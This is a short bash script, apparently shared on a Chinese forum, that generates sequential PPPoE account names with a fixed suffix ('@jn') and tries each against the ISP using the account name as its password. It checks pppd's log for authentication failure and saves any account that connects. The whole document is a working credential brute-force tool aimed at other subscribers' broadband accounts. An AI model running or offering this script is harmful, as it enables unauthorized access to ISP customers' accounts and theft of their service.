代码： 全选
#!/bin/bash
if [ $UID != 0 ]; then
echo Must be root to execute this script.
exit 0
fi
date
for((i=$2;i<=$3;i++)) do
t="0000$i"
let len=8-`expr length $1`
let idx=`expr length $t`-$len+1
t=`expr substr $t $idx $len`
t="a$1$t@jn"
pppd noipdefault defaultroute hide-password persist plugin rp-pppoe.so eth0 noauth user "$t" password "$t" logfile /var/log/ppp-$1-$2-$3.log maxfail 1
for((dc=0;dc<60;dc++)) do
sleep 1
let pc=`ps -A|grep pppd|wc -l`
if [ $pc -gt 0 ]; then
#echo $dc
continue
fi
break
done
let authfailed=`tail -n 4 /var/log/ppp-$1-$2-$3.log | grep "PAP authentication failed"|wc -l`
if [ $authfailed -gt 0 ]; then
echo $t is give up.
continue
fi
date
let s=`ifconfig | grep ppp | wc -l`
if [ $s -gt 0 ]; then
echo $t>>/var/log/success-pppd.log
echo found it.
exit 0
else
echo 'current mac address is using, break.'
exit 1
fi
done
echo not found.
exit 1
